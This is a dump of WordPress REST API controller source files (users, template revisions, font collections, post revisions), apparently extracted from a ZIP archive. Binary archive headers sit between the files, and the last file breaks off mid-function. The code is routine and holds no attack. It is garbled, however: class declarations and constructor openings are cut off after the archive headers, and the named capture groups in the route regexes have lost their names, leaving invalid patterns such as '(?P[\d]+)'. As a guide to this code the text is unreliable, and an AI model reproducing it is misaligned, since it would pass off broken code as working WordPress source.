'description' => __( 'Order sort attribute ascending or descending.' ),
'enum' => array( 'asc', 'desc' ),
'type' => 'string',
);
$query_params['orderby'] = array(
'default' => 'name',
'description' => __( 'Sort collection by user attribute.' ),
'enum' => array(
'id',
'include',
'name',
'registered_date',
'slug',
'include_slugs',
'email',
'url',
),
'type' => 'string',
);
$query_params['slug'] = array(
'description' => __( 'Limit result set to users with one or more specific slugs.' ),
'type' => 'array',
'items' => array(
'type' => 'string',
),
);
$query_params['roles'] = array(
'description' => __( 'Limit result set to users matching at least one specific role provided. Accepts csv list or single role.' ),
'type' => 'array',
'items' => array(
'type' => 'string',
),
);
$query_params['capabilities'] = array(
'description' => __( 'Limit result set to users matching at least one specific capability provided. Accepts csv list or single capability.' ),
'type' => 'array',
'items' => array(
'type' => 'string',
),
);
$query_params['who'] = array(
'description' => __( 'Limit result set to users who are considered authors.' ),
'type' => 'string',
'enum' => array(
'authors',
),
);
$query_params['has_published_posts'] = array(
'description' => __( 'Limit result set to users who have published posts.' ),
'type' => array( 'boolean', 'array' ),
'items' => array(
'type' => 'string',
'enum' => get_post_types( array( 'show_in_rest' => true ), 'names' ),
),
);
$query_params['search_columns'] = array(
'default' => array(),
'description' => __( 'Array of column names to be searched.' ),
'type' => 'array',
'items' => array(
'enum' => array( 'email', 'name', 'id', 'username', 'slug' ),
'type' => 'string',
),
);
/**
* Filters REST API collection parameters for the users controller.
*
* This filter registers the collection parameter, but does not map the
* collection parameter to an internal WP_User_Query parameter. Use the
* `rest_user_query` filter to set WP_User_Query arguments.
*
* @since 4.7.0
*
* @param array $query_params JSON Schema-formatted collection parameters.
*/
return apply_filters( 'rest_user_collection_params', $query_params );
}
}
PK @:\S+" " 9 endpoints/class-wp-rest-template-revisions-controller.phpnu [ parent_post_type = $parent_post_type;
$post_type_object = get_post_type_object( $parent_post_type );
$parent_controller = $post_type_object->get_rest_controller();
if ( ! $parent_controller ) {
$parent_controller = new WP_REST_Templates_Controller( $parent_post_type );
}
$this->parent_controller = $parent_controller;
$this->rest_base = 'revisions';
$this->parent_base = ! empty( $post_type_object->rest_base ) ? $post_type_object->rest_base : $post_type_object->name;
$this->namespace = ! empty( $post_type_object->rest_namespace ) ? $post_type_object->rest_namespace : 'wp/v2';
}
/**
* Registers the routes for revisions based on post types supporting revisions.
*
* @since 6.4.0
*
* @see register_rest_route()
*/
public function register_routes() {
register_rest_route(
$this->namespace,
sprintf(
'/%s/(?P%s%s)/%s',
$this->parent_base,
/*
* Matches theme's directory: `/themes///` or `/themes//`.
* Excludes invalid directory name characters: `/:<>*?"|`.
*/
'([^\/:<>\*\?"\|]+(?:\/[^\/:<>\*\?"\|]+)?)',
// Matches the template name.
'[\/\w%-]+',
$this->rest_base
),
array(
'args' => array(
'parent' => array(
'description' => __( 'The id of a template' ),
'type' => 'string',
'sanitize_callback' => array( $this->parent_controller, '_sanitize_template_id' ),
),
),
array(
'methods' => WP_REST_Server::READABLE,
'callback' => array( $this, 'get_items' ),
'permission_callback' => array( $this, 'get_items_permissions_check' ),
'args' => $this->get_collection_params(),
),
'schema' => array( $this, 'get_public_item_schema' ),
)
);
register_rest_route(
$this->namespace,
sprintf(
'/%s/(?P%s%s)/%s/%s',
$this->parent_base,
/*
* Matches theme's directory: `/themes///` or `/themes//`.
* Excludes invalid directory name characters: `/:<>*?"|`.
*/
'([^\/:<>\*\?"\|]+(?:\/[^\/:<>\*\?"\|]+)?)',
// Matches the template name.
'[\/\w%-]+',
$this->rest_base,
'(?P[\d]+)'
),
array(
'args' => array(
'parent' => array(
'description' => __( 'The id of a template' ),
'type' => 'string',
'sanitize_callback' => array( $this->parent_controller, '_sanitize_template_id' ),
),
'id' => array(
'description' => __( 'Unique identifier for the revision.' ),
'type' => 'integer',
),
),
array(
'methods' => WP_REST_Server::READABLE,
'callback' => array( $this, 'get_item' ),
'permission_callback' => array( $this, 'get_item_permissions_check' ),
'args' => array(
'context' => $this->get_context_param( array( 'default' => 'view' ) ),
),
),
array(
'methods' => WP_REST_Server::DELETABLE,
'callback' => array( $this, 'delete_item' ),
'permission_callback' => array( $this, 'delete_item_permissions_check' ),
'args' => array(
'force' => array(
'type' => 'boolean',
'default' => false,
'description' => __( 'Required to be true, as revisions do not support trashing.' ),
),
),
),
'schema' => array( $this, 'get_public_item_schema' ),
)
);
}
/**
* Gets the parent post, if the template ID is valid.
*
* @since 6.4.0
*
* @param string $parent_template_id Supplied ID.
* @return WP_Post|WP_Error Post object if ID is valid, WP_Error otherwise.
*/
protected function get_parent( $parent_template_id ) {
$template = get_block_template( $parent_template_id, $this->parent_post_type );
if ( ! $template ) {
return new WP_Error(
'rest_post_invalid_parent',
__( 'Invalid template parent ID.' ),
array( 'status' => WP_Http::NOT_FOUND )
);
}
$parent_post_id = isset( $template->wp_id ) ? (int) $template->wp_id : 0;
if ( $parent_post_id <= 0 ) {
return new WP_Error(
'rest_invalid_template',
__( 'Templates based on theme files can\'t have revisions.' ),
array( 'status' => WP_Http::BAD_REQUEST )
);
}
return get_post( $template->wp_id );
}
/**
* Prepares the item for the REST response.
*
* @since 6.4.0
*
* @param WP_Post $item Post revision object.
* @param WP_REST_Request $request Request object.
* @return WP_REST_Response Response object.
*/
public function prepare_item_for_response( $item, $request ) {
$template = _build_block_template_result_from_post( $item );
$response = $this->parent_controller->prepare_item_for_response( $template, $request );
// Don't prepare the response body for HEAD requests.
if ( $request->is_method( 'HEAD' ) ) {
return $response;
}
$fields = $this->get_fields_for_response( $request );
$data = $response->get_data();
if ( in_array( 'parent', $fields, true ) ) {
$data['parent'] = (int) $item->post_parent;
}
$context = ! empty( $request['context'] ) ? $request['context'] : 'view';
$data = $this->filter_response_by_context( $data, $context );
// Wrap the data in a response object.
$response = new WP_REST_Response( $data );
if ( rest_is_field_included( '_links', $fields ) || rest_is_field_included( '_embedded', $fields ) ) {
$links = $this->prepare_links( $template );
$response->add_links( $links );
}
return $response;
}
/**
* Checks if a given request has access to delete a revision.
*
* @since 6.4.0
*
* @param WP_REST_Request $request Full details about the request.
* @return true|WP_Error True if the request has access to delete the item, WP_Error object otherwise.
*/
public function delete_item_permissions_check( $request ) {
$parent = $this->get_parent( $request['parent'] );
if ( is_wp_error( $parent ) ) {
return $parent;
}
if ( ! current_user_can( 'delete_post', $parent->ID ) ) {
return new WP_Error(
'rest_cannot_delete',
__( 'Sorry, you are not allowed to delete revisions of this post.' ),
array( 'status' => rest_authorization_required_code() )
);
}
$revision = $this->get_revision( $request['id'] );
if ( is_wp_error( $revision ) ) {
return $revision;
}
if ( ! current_user_can( 'edit_theme_options' ) ) {
return new WP_Error(
'rest_cannot_delete',
__( 'Sorry, you are not allowed to delete this revision.' ),
array( 'status' => rest_authorization_required_code() )
);
}
return true;
}
/**
* Prepares links for the request.
*
* @since 6.4.0
*
* @param WP_Block_Template $template Template.
* @return array Links for the given post.
*/
protected function prepare_links( $template ) {
$links = array(
'self' => array(
'href' => rest_url( sprintf( '/%s/%s/%s/%s/%d', $this->namespace, $this->parent_base, $template->id, $this->rest_base, $template->wp_id ) ),
),
'parent' => array(
'href' => rest_url( sprintf( '/%s/%s/%s', $this->namespace, $this->parent_base, $template->id ) ),
),
);
return $links;
}
/**
* Retrieves the item's schema, conforming to JSON Schema.
*
* @since 6.4.0
*
* @return array Item schema data.
*/
public function get_item_schema() {
if ( $this->schema ) {
return $this->add_additional_fields_schema( $this->schema );
}
$schema = $this->parent_controller->get_item_schema();
$schema['properties']['parent'] = array(
'description' => __( 'The ID for the parent of the revision.' ),
'type' => 'integer',
'context' => array( 'view', 'edit', 'embed' ),
);
$this->schema = $schema;
return $this->add_additional_fields_schema( $this->schema );
}
}
PK @:\
i-) ) 7 endpoints/class-wp-rest-font-collections-controller.phpnu [ rest_base = 'font-collections';
$this->namespace = 'wp/v2';
}
/**
* Registers the routes for the objects of the controller.
*
* @since 6.5.0
*/
public function register_routes() {
register_rest_route(
$this->namespace,
'/' . $this->rest_base,
array(
array(
'methods' => WP_REST_Server::READABLE,
'callback' => array( $this, 'get_items' ),
'permission_callback' => array( $this, 'get_items_permissions_check' ),
'args' => $this->get_collection_params(),
),
'schema' => array( $this, 'get_public_item_schema' ),
)
);
register_rest_route(
$this->namespace,
'/' . $this->rest_base . '/(?P[\/\w-]+)',
array(
array(
'methods' => WP_REST_Server::READABLE,
'callback' => array( $this, 'get_item' ),
'permission_callback' => array( $this, 'get_items_permissions_check' ),
'args' => array(
'context' => $this->get_context_param( array( 'default' => 'view' ) ),
),
),
'schema' => array( $this, 'get_public_item_schema' ),
)
);
}
/**
* Gets the font collections available.
*
* @since 6.5.0
*
* @param WP_REST_Request $request Full details about the request.
* @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
*/
public function get_items( $request ) {
$collections_all = WP_Font_Library::get_instance()->get_font_collections();
$page = $request['page'];
$per_page = $request['per_page'];
$total_items = count( $collections_all );
$max_pages = (int) ceil( $total_items / $per_page );
if ( $page > $max_pages && $total_items > 0 ) {
return new WP_Error(
'rest_post_invalid_page_number',
__( 'The page number requested is larger than the number of pages available.' ),
array( 'status' => 400 )
);
}
$collections_page = array_slice( $collections_all, ( $page - 1 ) * $per_page, $per_page );
$is_head_request = $request->is_method( 'HEAD' );
$items = array();
foreach ( $collections_page as $collection ) {
$item = $this->prepare_item_for_response( $collection, $request );
// If there's an error loading a collection, skip it and continue loading valid collections.
if ( is_wp_error( $item ) ) {
continue;
}
/*
* Skip preparing the response body for HEAD requests.
* Cannot exit earlier due to backward compatibility reasons,
* as validation occurs in the prepare_item_for_response method.
*/
if ( $is_head_request ) {
continue;
}
$item = $this->prepare_response_for_collection( $item );
$items[] = $item;
}
$response = $is_head_request ? new WP_REST_Response( array() ) : rest_ensure_response( $items );
$response->header( 'X-WP-Total', (int) $total_items );
$response->header( 'X-WP-TotalPages', $max_pages );
$request_params = $request->get_query_params();
$collection_url = rest_url( $this->namespace . '/' . $this->rest_base );
$base = add_query_arg( urlencode_deep( $request_params ), $collection_url );
if ( $page > 1 ) {
$prev_page = $page - 1;
if ( $prev_page > $max_pages ) {
$prev_page = $max_pages;
}
$prev_link = add_query_arg( 'page', $prev_page, $base );
$response->link_header( 'prev', $prev_link );
}
if ( $max_pages > $page ) {
$next_page = $page + 1;
$next_link = add_query_arg( 'page', $next_page, $base );
$response->link_header( 'next', $next_link );
}
return $response;
}
/**
* Gets a font collection.
*
* @since 6.5.0
*
* @param WP_REST_Request $request Full details about the request.
* @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
*/
public function get_item( $request ) {
$slug = $request->get_param( 'slug' );
$collection = WP_Font_Library::get_instance()->get_font_collection( $slug );
if ( ! $collection ) {
return new WP_Error( 'rest_font_collection_not_found', __( 'Font collection not found.' ), array( 'status' => 404 ) );
}
return $this->prepare_item_for_response( $collection, $request );
}
/**
* Prepare a single collection output for response.
*
* @since 6.5.0
*
* @param WP_Font_Collection $item Font collection object.
* @param WP_REST_Request $request Request object.
* @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
*/
public function prepare_item_for_response( $item, $request ) {
$fields = $this->get_fields_for_response( $request );
$data = array();
if ( rest_is_field_included( 'slug', $fields ) ) {
$data['slug'] = $item->slug;
}
// If any data fields are requested, get the collection data.
$data_fields = array( 'name', 'description', 'font_families', 'categories' );
if ( ! empty( array_intersect( $fields, $data_fields ) ) ) {
$collection_data = $item->get_data();
if ( is_wp_error( $collection_data ) ) {
$collection_data->add_data( array( 'status' => 500 ) );
return $collection_data;
}
/**
* Don't prepare the response body for HEAD requests.
* Can't exit at the beginning of the method due to the potential need to return a WP_Error object.
*/
if ( $request->is_method( 'HEAD' ) ) {
/** This filter is documented in wp-includes/rest-api/endpoints/class-wp-rest-font-collections-controller.php */
return apply_filters( 'rest_prepare_font_collection', new WP_REST_Response( array() ), $item, $request );
}
foreach ( $data_fields as $field ) {
if ( rest_is_field_included( $field, $fields ) ) {
$data[ $field ] = $collection_data[ $field ];
}
}
}
/**
* Don't prepare the response body for HEAD requests.
* Can't exit at the beginning of the method due to the potential need to return a WP_Error object.
*/
if ( $request->is_method( 'HEAD' ) ) {
/** This filter is documented in wp-includes/rest-api/endpoints/class-wp-rest-font-collections-controller.php */
return apply_filters( 'rest_prepare_font_collection', new WP_REST_Response( array() ), $item, $request );
}
$response = rest_ensure_response( $data );
if ( rest_is_field_included( '_links', $fields ) ) {
$links = $this->prepare_links( $item );
$response->add_links( $links );
}
$context = ! empty( $request['context'] ) ? $request['context'] : 'view';
$response->data = $this->add_additional_fields_to_object( $response->data, $request );
$response->data = $this->filter_response_by_context( $response->data, $context );
/**
* Filters the font collection data for a REST API response.
*
* @since 6.5.0
*
* @param WP_REST_Response $response The response object.
* @param WP_Font_Collection $item The font collection object.
* @param WP_REST_Request $request Request used to generate the response.
*/
return apply_filters( 'rest_prepare_font_collection', $response, $item, $request );
}
/**
* Retrieves the font collection's schema, conforming to JSON Schema.
*
* @since 6.5.0
*
* @return array Item schema data.
*/
public function get_item_schema() {
if ( $this->schema ) {
return $this->add_additional_fields_schema( $this->schema );
}
$schema = array(
'$schema' => 'http://json-schema.org/draft-04/schema#',
'title' => 'font-collection',
'type' => 'object',
'properties' => array(
'slug' => array(
'description' => __( 'Unique identifier for the font collection.' ),
'type' => 'string',
'context' => array( 'view', 'edit', 'embed' ),
'readonly' => true,
),
'name' => array(
'description' => __( 'The name for the font collection.' ),
'type' => 'string',
'context' => array( 'view', 'edit', 'embed' ),
),
'description' => array(
'description' => __( 'The description for the font collection.' ),
'type' => 'string',
'context' => array( 'view', 'edit', 'embed' ),
),
'font_families' => array(
'description' => __( 'The font families for the font collection.' ),
'type' => 'array',
'context' => array( 'view', 'edit', 'embed' ),
),
'categories' => array(
'description' => __( 'The categories for the font collection.' ),
'type' => 'array',
'context' => array( 'view', 'edit', 'embed' ),
),
),
);
$this->schema = $schema;
return $this->add_additional_fields_schema( $this->schema );
}
/**
* Prepares links for the request.
*
* @since 6.5.0
*
* @param WP_Font_Collection $collection Font collection data
* @return array Links for the given font collection.
*/
protected function prepare_links( $collection ) {
return array(
'self' => array(
'href' => rest_url( sprintf( '%s/%s/%s', $this->namespace, $this->rest_base, $collection->slug ) ),
),
'collection' => array(
'href' => rest_url( sprintf( '%s/%s', $this->namespace, $this->rest_base ) ),
),
);
}
/**
* Retrieves the search params for the font collections.
*
* @since 6.5.0
*
* @return array Collection parameters.
*/
public function get_collection_params() {
$query_params = parent::get_collection_params();
$query_params['context'] = $this->get_context_param( array( 'default' => 'view' ) );
unset( $query_params['search'] );
/**
* Filters REST API collection parameters for the font collections controller.
*
* @since 6.5.0
*
* @param array $query_params JSON Schema-formatted collection parameters.
*/
return apply_filters( 'rest_font_collections_collection_params', $query_params );
}
/**
* Checks whether the user has permissions to use the Fonts Collections.
*
* @since 6.5.0
*
* @return true|WP_Error True if the request has write access for the item, WP_Error object otherwise.
*/
public function get_items_permissions_check( $request ) {
if ( current_user_can( 'edit_theme_options' ) ) {
return true;
}
return new WP_Error(
'rest_cannot_read',
__( 'Sorry, you are not allowed to access font collections.' ),
array(
'status' => rest_authorization_required_code(),
)
);
}
}
PK @:\Դ:m m 0 endpoints/class-wp-rest-revisions-controller.phpnu [ parent_post_type = $parent_post_type;
$post_type_object = get_post_type_object( $parent_post_type );
$parent_controller = $post_type_object->get_rest_controller();
if ( ! $parent_controller ) {
$parent_controller = new WP_REST_Posts_Controller( $parent_post_type );
}
$this->parent_controller = $parent_controller;
$this->rest_base = 'revisions';
$this->parent_base = ! empty( $post_type_object->rest_base ) ? $post_type_object->rest_base : $post_type_object->name;
$this->namespace = ! empty( $post_type_object->rest_namespace ) ? $post_type_object->rest_namespace : 'wp/v2';
$this->meta = new WP_REST_Post_Meta_Fields( $parent_post_type );
}
/**
* Registers the routes for revisions based on post types supporting revisions.
*
* @since 4.7.0
*
* @see register_rest_route()
*/
public function register_routes() {
register_rest_route(
$this->namespace,
'/' . $this->parent_base . '/(?P[\d]+)/' . $this->rest_base,
array(
'args' => array(
'parent' => array(
'description' => __( 'The ID for the parent of the revision.' ),
'type' => 'integer',
),
),
array(
'methods' => WP_REST_Server::READABLE,
'callback' => array( $this, 'get_items' ),
'permission_callback' => array( $this, 'get_items_permissions_check' ),
'args' => $this->get_collection_params(),
),
'schema' => array( $this, 'get_public_item_schema' ),
)
);
register_rest_route(
$this->namespace,
'/' . $this->parent_base . '/(?P[\d]+)/' . $this->rest_base . '/(?P[\d]+)',
array(
'args' => array(
'parent' => array(
'description' => __( 'The ID for the parent of the revision.' ),
'type' => 'integer',
),
'id' => array(
'description' => __( 'Unique identifier for the revision.' ),
'type' => 'integer',
),
),
array(
'methods' => WP_REST_Server::READABLE,
'callback' => array( $this, 'get_item' ),
'permission_callback' => array( $this, 'get_item_permissions_check' ),
'args' => array(
'context' => $this->get_context_param( array( 'default' => 'view' ) ),
),
),
array(
'methods' => WP_REST_Server::DELETABLE,
'callback' => array( $this, 'delete_item' ),
'permission_callback' => array( $this, 'delete_item_permissions_check' ),
'args' => array(
'force' => array(
'type' => 'boolean',
'default' => false,
'description' => __( 'Required to be true, as revisions do not support trashing.' ),
),
),
),
'schema' => array( $this, 'get_public_item_schema' ),
)
);
}
/**
* Get the parent post, if the ID is valid.
*
* @since 4.7.2
*
* @param int $parent_post_id Supplied ID.
* @return WP_Post|WP_Error Post object if ID is valid, WP_Error otherwise.
*/
protected function get_parent( $parent_post_id ) {
$error = new WP_Error(
'rest_post_invalid_parent',
__( 'Invalid post parent ID.' ),
array( 'status' => 404 )
);
if ( (int) $parent_post_id <= 0 ) {
return $error;
}
$parent_post = get_post( (int) $parent_post_id );
if ( empty( $parent_post ) || empty( $parent_post->ID )
|| $this->parent_post_type !== $parent_post->post_type
) {
return $error;
}
return $parent_post;
}
/**
* Checks if a given request has access to get revisions.
*
* @since 4.7.0
*
* @param WP_REST_Request $request Full details about the request.
* @return true|WP_Error True if the request has read access, WP_Error object otherwise.
*/
public function get_items_permissions_check( $request ) {
$parent = $this->get_parent( $request['parent'] );
if ( is_wp_error( $parent ) ) {
return $parent;
}
if ( ! current_user_can( 'edit_post', $parent->ID ) ) {
return new WP_Error(
'rest_cannot_read',
__( 'Sorry, you are not allowed to view revisions of this post.' ),
array( 'status' => rest_authorization_required_code() )
);
}
return true;
}
/**
* Get the revision, if the ID is valid.
*
* @since 4.7.2
*
* @param int $id Supplied ID.
* @return WP_Post|WP_Error Revision post object if ID is valid, WP_Error otherwise.
*/
protected function get_revision( $id ) {
$error = new WP_Error(
'rest_post_invalid_id',
__( 'Invalid revision ID.' ),
array( 'status' => 404 )
);
if ( (int) $id <= 0 ) {
return $error;
}
$revision = get_post( (int) $id );
if ( empty( $revision ) || empty( $revision->ID ) || 'revision' !== $revision->post_type ) {
return $error;
}
return $revision;
}
/**
* Gets a collection of revisions.
*
* @since 4.7.0
*
* @see WP_REST_Posts_Controller::get_items()
*
* @param WP_REST_Request $request Full details about the request.
* @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
*/
public function get_items( $request ) {
$parent = $this->get_parent( $request['parent'] );
if ( is_wp_error( $parent ) ) {
return $parent;
}
// Ensure a search string is set in case the orderby is set to 'relevance'.
if ( ! empty( $request['orderby'] ) && 'relevance' === $request['orderby'] && empty( $request['search'] ) ) {
return new WP_Error(
'rest_no_search_term_defined',
__( 'You need to define a search term to order by relevance.' ),
array( 'status' => 400 )
);
}
// Ensure an include parameter is set in case the orderby is set to 'include'.
if ( ! empty( $request['orderby'] ) && 'include' === $request['orderby'] && empty( $request['include'] ) ) {
return new WP_Error(
'rest_orderby_include_missing_include',
__( 'You need to define an include parameter to order by include.' ),
array( 'status' => 400 )
);
}
$is_head_request = $request->is_method( 'HEAD' );
if ( wp_revisions_enabled( $parent ) ) {
$registered = $this->get_collection_params();
$args = array(
'post_parent' => $parent->ID,
'post_type' => 'revision',
'post_status' => 'inherit',
'posts_per_page' => -1,
'orderby' => 'date ID',
'order' => 'DESC',
'suppress_filters' => true,
);
$parameter_mappings = array(
'exclude' => 'post__not_in',
'include' => 'post__in',
'offset' => 'offset',
'order' => 'order',
'orderby' => 'orderby',
'page' => 'paged',
'per_page' => 'posts_per_page',
'search' => 's',
);
foreach ( $parameter_mappings as $api_param => $wp_param ) {
if ( isset( $registered[ $api_param ], $request[ $api_param ] ) ) {
$args[ $wp_param ] = $request[ $api_param ];
}
}
// For backward-compatibility, 'date' needs to resolve to 'date ID'.
if ( isset( $args['orderby'] ) && 'date' === $args['orderby'] ) {
$args['orderby'] = 'date ID';
}
if ( $is_head_request ) {
// Force the 'fields' argument. For HEAD requests, only post IDs are required to calculate pagination.
$args['fields'] = 'ids';
// Disable priming post meta for HEAD requests to improve performance.
$args['update_post_term_cache'] = false;
$args['update_post_meta_cache'] = false;
}
/**
* Filters WP_Query arguments when querying revisions via the REST API.
*
* Serves the same purpose as the {@see 'rest_{$this->post_type}_query'} filter in
* WP_REST_Posts_Controller, but for the standalone WP_REST_Revisions_Controller.
*
* @since 5.0.0
*
* @param array $args Array of arguments for WP_Query.
* @param WP_REST_Request $request The REST API request.
*/
$args = apply_filters( 'rest_revision_query', $args, $request );
if ( ! is_array( $args ) ) {
$args = array();
}
$query_args = $this->prepare_items_query( $args, $request );
$revisions_query = new WP_Query();
$revisions = $revisions_query->query( $query_args );
$offset = isset( $query_args['offset'] ) ? (int) $query_args['offset'] : 0;
$page = isset( $query_args['paged'] ) ? (int) $query_args['paged'] : 0;
$total_revisions = $revisions_query->found_posts;
if ( $total_revisions < 1 ) {
// Out-of-bounds, run the query without pagination/offset to get the total count.
unset( $query_args['paged'], $query_args['offset'] );
$count_query = new WP_Query();
$query_args['fields'] = 'ids';
$query_args['posts_per_page'] = 1;
$query_args['update_post_meta_cache'] = false;
$query_args['update_post_term_cache'] = false;
$count_query->query( $query_args );
$total_revisions = $count_query->found_posts;
}
if ( $revisions_query->query_vars['posts_per_page'] > 0 ) {
$max_pages = (int) ceil( $total_revisions / (int) $revisions_query->query_vars['posts_per_page'] );
} else {
$max_pages = $total_revisions > 0 ? 1 : 0;
}
if ( $total_revisions > 0 ) {
if ( $offset >= $total_revisions ) {
return new WP_Error(
'rest_revision_invalid_offset_number',
__( 'The offset number requested is larger than or equal to the number of available revisions.' ),
array( 'status' => 400 )
);
} elseif ( ! $offset && $page > $max_pages ) {
return new WP_Error(
'rest_revision_invalid_page_number',
__( 'The page number requested is larger than the number of pages available.' ),
array( 'status' => 400 )
);
}
}
} else {
$revisions = array();
$total_revisions = 0;
$max_pages = 0;
$page = (int) $request['page'];
}
if ( ! $is_head_request ) {
$response = array();
foreach ( $revisions as $revision ) {
$data = $this->prepare_item_for_response( $revision, $request );
$response[] = $this->prepare_response_for_collection( $data );
}
$response = rest_ensure_response( $response );
} else {
$response = new WP_REST_Response( array() );
}
$response->header( 'X-WP-Total', (int) $total_revisions );
$response->header( 'X-WP-TotalPages', (int) $max_pages );
$request_params = $request->get_query_params();
$base_path = rest_url( sprintf( '%s/%s/%d/%s', $this->namespace, $this->parent_base, $request['parent'], $this->rest_base ) );
$base = add_query_arg( urlencode_deep( $request_params ), $base_path );
if ( $page > 1 ) {
$prev_page = $page - 1;
if ( $prev_page > $max_pages ) {
$prev_page = $max_pages;
}
$prev_link = add_query_arg( 'page', $prev_page, $base );
$response->link_header( 'prev', $prev_link );
}
if ( $max_pages > $page ) {
$next_page = $page + 1;
$next_link = add_query_arg( 'page', $next_page, $base );
$response->link_header( 'next', $next_link );
}
return $response;
}
/**
* Checks if a given request has access to get a specific revision.
*
* @since 4.7.0
*
* @param WP_REST_Request $request Full details about the request.
* @return true|WP_Error True if the request has read access for the item, WP_Error object otherwise.
*/
public function get_item_permissions_check( $request ) {
return $this->get_items_permissions_check( $request );
}
/**
* Retrieves one revision from the collection.
*
* @since 4.7.0
* @since 6.5.0 Added a condition to check that parent id matches revision parent id.
*
* @param WP_REST_Request $request Full details about the request.
* @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
*/
public function get_item( $request ) {
$parent = $this->get_parent( $request['parent'] );
if ( is_wp_error( $parent ) ) {
return $parent;
}
$revision = $this->get_revision( $request['id'] );
if ( is_wp_error( $revision ) ) {
return $revision;
}
if ( (int) $parent->ID !== (int) $revision->post_parent ) {
return new WP_Error(
'rest_revision_parent_id_mismatch',
/* translators: %d: A post id. */
sprintf( __( 'The revision does not belong to the specified parent with id of "%d"' ), $parent->ID ),
array( 'status' => 404 )
);
}
$response = $this->prepare_item_for_response( $revision, $request );
return rest_ensure_response( $response );
}
/**
* Checks if a given request has access to delete a revision.
*
* @since 4.7.0
*
* @param WP_REST_Request $request Full details about the request.
* @return true|WP_Error True if the request has access to delete the item, WP_Error object otherwise.
*/
public function delete_item_permissions_check( $request ) {
$parent = $this->get_parent( $request['parent'] );
if ( is_wp_error( $parent ) ) {
return $parent;
}
if ( ! current_user_can( 'delete_post', $parent->ID ) ) {
return new WP_Error(
'rest_cannot_delete',
__( 'Sorry, you are not allowed to delete revisions of this post.' ),
array( 'status' => rest_authorization_required_code() )
);
}
$revision = $this->get_revision( $request['id'] );
if ( is_wp_error( $revision ) ) {
return $revision;
}
$response = $this->get_items_permissions_check( $request );
if ( ! $response || is_wp_error( $response ) ) {
return $response;
}
if ( ! current_user_can( 'delete_post', $revision->ID ) ) {
return new WP_Error(
'rest_cannot_delete',
__( 'Sorry, you are not allowed to delete this revision.' ),
array( 'status' => rest_authorization_required_code() )
);
}
return true;
}
/**
* Deletes a single revision.
*
* @since 4.7.0
*
* @param WP_REST_Request $request Full details about the request.
* @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
*/
public function delete_item( $request ) {
$revision = $this->get_revision( $request['id'] );
if ( is_wp_error( $revision ) ) {
return $revision;
}
$force = isset( $request['force'] ) ? (bool) $request['force'] : false;
// We don't support trashing for revisions.
if ( ! $force ) {
return new WP_Error(
'rest_trash_not_supported',
/* translators: %s: force=true */
sprintf( __( "Revisions do not support trashing. Set '%s' to delete." ), 'force=true' ),
array( 'status' => 501 )
);
}
$previous = $this->prepare_item_for_response( $revision, $request );
$result = wp_delete_post( $request['id'], true );
/**
* Fires after a revision is deleted via the REST API.
*
* @since 4.7.0
*
* @param WP_Post|false|null $result The revision object (if it was deleted or moved to the Trash successfully)
* or false or null (failure). If the revision was moved to the Trash, $result represents
* its new state; if it was deleted, $result represents its state before deletion.
* @param WP_REST_Request $request The request sent to the API.
*/
do_action( 'rest_delete_revision', $result, $request );
if ( ! $result ) {
return new WP_Error(
'rest_cannot_delete',
__( 'The post cannot be deleted.' ),
array( 'status' => 500 )
);
}
$response = new WP_REST_Response();
$response->set_data(
array(
'deleted' => true,
'previous' => $previous->get_data(),
)
);
return $response;
}
/**
* Determines the allowed query_vars for a get_items() response and prepares
* them for WP_Query.
*
* @since 5.0.0
*
* @param array $prepared_args Optional. Prepared WP_Query arguments. Default empty array.
* @param WP_REST_Request $request Optional. Full details about the request.
* @return array Items query arguments.
*/
protected function prepare_items_query( $prepared_args = array(), $request = null ) {
$query_args = array();
if ( ! is_array( $prepared_args ) ) {
$prepared_args = array();
}
foreach ( $prepared_args as $key => $value ) {
/** This filter is documented in wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php */
$query_args[ $key ] = apply_filters( "rest_query_var-{$key}", $value ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores
}
// Map to proper WP_Query orderby param.
if ( isset( $query_args['orderby'] ) && isset( $request['orderby'] ) ) {
$orderby_mappings = array(
'id' => 'ID',
'include' => 'post__in',
'slug' => 'post_name',
'include_slugs' => 'post_name__in',
);
if ( isset( $orderby_mappings[ $request['orderby'] ] ) ) {
$query_args['orderby'] = $orderby_mappings[ $request['orderby'] ];
}
}
return $query_args;
}
/**
* Prepares the revision for the REST response.
*
* @since 4.7.0
* @since 5.9.0 Renamed `$post` to `$item` to match parent class for PHP 8 named parameter support.
*
* @global WP_Post $post Global post object.
*
* @param WP_Post $item Post revision object.
* @param WP_REST_Request $request Request object.
* @return WP_REST_Response Response object.
*/
public function prepare_item_for_response( $item, $request ) {
// Restores the more descriptive, specific name for use within this method.
$post = $item;
$GLOBALS['post'] = $post;
setup_postdata( $post );
// Don't prepare the response body for HEAD requests.
if ( $request->is_method( 'HEAD' ) ) {
/** This filter is documented in wp-includes/rest-api/endpoints/class-wp-rest-revisions-controller.php */
return apply_filters( 'rest_prepare_revision', new WP_REST_Response( array() ), $post, $request );
}
$fields = $this->get_fields_for_response( $request );
$data = array();
if ( in_array( 'author', $fields, true ) ) {
$data['author'] = (int) $post->post_author;
}
if ( in_array( 'date', $fields, true ) ) {
$data['date'] = $this->prepare_date_response( $post->post_date_gmt, $post->post_date );
}
if ( in_array( 'date_gmt', $fields, true ) ) {
$data['date_gmt'] = $this->prepare_date_response( $post->post_date_gmt );
}
if ( in_array( 'id', $fields, true ) ) {
$data['id'] = $post->ID;
}
if ( in_array( 'modified', $fields, true ) ) {
$data['modified'] = $this->prepare_date_response( $post->post_modified_gmt, $post->post_modified );
}
if ( in_array( 'modified_gmt', $fields, true ) ) {
$data['modified_gmt'] = $this->prepare_date_response( $post->post_modified_gmt );
}
if ( in_array( 'parent', $fields, true ) ) {
$data['parent'] = (int) $post->post_parent;
}
if ( in_array( 'slug', $fields, true ) ) {
$data['slug'] = $post->post_name;
}
if ( rest_is_field_included( 'guid', $fields ) ) {
$data['guid'] = array();
}
if ( rest_is_field_included( 'guid.rendered', $fields ) ) {
/** This filter is documented in wp-includes/post-template.php */
$data['guid']['rendered'] = apply_filters( 'get_the_guid', $post->guid, $post->ID );
}
if ( rest_is_field_included( 'guid.raw', $fields ) ) {
$data['guid']['raw'] = $post->guid;
}
